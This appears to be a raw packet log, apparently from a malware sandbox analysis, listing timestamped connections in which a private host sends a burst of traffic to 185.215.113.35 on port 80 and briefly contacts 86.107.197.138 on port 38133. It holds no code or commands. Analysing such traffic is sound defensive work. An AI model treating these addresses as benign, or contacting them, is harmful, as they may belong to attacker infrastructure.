Jan 14, 2022 12:30:14.216913939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.217005014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.217083931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.225050926 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.227102041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.229393005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.235426903 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.239073992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.239209890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.239460945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247174978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247313976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247421980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247492075 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.247517109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247638941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247761965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.247879982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.248061895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.248294115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.248429060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.248523951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.248665094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.254074097 CET	80	49912	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.256489992 CET	49912	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.260636091 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.266056061 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.274199963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.274240017 CET	49901	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 12:30:14.279800892 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.279839993 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.282249928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.282659054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.282784939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.282882929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.282974958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283066988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283174038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283265114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283384085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283566952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283667088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283763885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283865929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.283957958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284060955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284212112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284312010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284434080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284576893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284670115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284771919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284864902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.284966946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285059929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285166979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285279036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285423994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285512924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285618067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285712004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285815954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.285909891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286020041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286120892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286238909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286402941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286556959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286665916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286772013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286875963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.286986113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287126064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287219048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287333012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287436962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287533998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287626028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287728071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287818909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.287924051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288017035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288121939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288216114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288319111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288414955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288511992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288602114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288706064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288798094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288902998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.288995981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289098024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289192915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289295912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289387941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289494991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289585114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289686918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289777040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289880991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.289975882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290080070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290178061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290280104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290412903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290638924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290796041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290889025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.290987015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291080952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291227102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291323900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291435003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291512966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291604042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291698933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291857958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.291960955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292057037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292210102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292321920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292424917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292521954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292614937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292721033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292808056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.292915106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.293005943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.293112040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.293220043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.293330908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.293426991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299211979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299388885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299478054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299568892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299657106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299741030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299834967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.299917936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300004005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300091028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300199986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300282955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300369978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300479889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300599098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300692081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300786972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300883055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.300976992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.301065922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.303739071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.303802967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.303896904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.303992987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304075956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304187059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304271936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304364920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304474115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304575920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304667950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304768085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.304858923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.305006027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.305062056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306314945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306447029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306541920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306627035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306713104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306796074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306880951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.306966066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307056904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307169914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307262897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307351112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307439089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307524920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307612896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307694912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307782888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307872057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.307952881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308039904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308135986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308222055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308309078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308393002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308501959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308594942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308687925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308779001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308875084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.308973074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309170961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309264898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309356928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309451103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309546947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309643030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309735060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309829950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.309933901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310017109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310113907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310210943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310303926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310391903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310487986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310581923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310673952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310770988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310863018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.310960054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311048031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311152935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311243057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311340094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311433077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311526060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311619043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311712980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311832905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.311896086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312005997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312088966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312194109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312290907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312382936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312475920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312572002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312661886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312757015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312849045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.312943935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.318738937 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.329814911 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.332668066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.332850933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.332999945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333112001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333264112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333393097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333503008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333586931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333694935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333798885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333920956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.333995104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334086895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334235907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334342957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334511042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334624052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334708929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334796906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334882975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.334969044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335052013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335148096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335232973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335320950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335407972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335494995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335582018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335721016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335817099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335906982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.335993052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336076975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336267948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336358070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336478949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336565018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336658001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336750031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336842060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.336936951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337030888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337150097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337244987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337340117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337440014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337526083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337630987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.337940931 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.342890978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343003988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343095064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343198061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343292952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343370914 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.343383074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343386889 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.343400955 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.343414068 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.343497038 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.343511105 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.343565941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343663931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343756914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343846083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.343935013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344022989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344065905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.344079971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.344093084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.344166994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344263077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344355106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344454050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344543934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344634056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344726086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344818115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344907999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.344997883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345089912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345190048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345280886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345370054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345463037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345555067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345650911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345674038 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.345689058 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.345701933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.345799923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345901966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.345993996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346084118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346187115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346240997 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346256018 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.346278906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.346409082 CET	49914	80	192.168.2.4	185.215.113.35
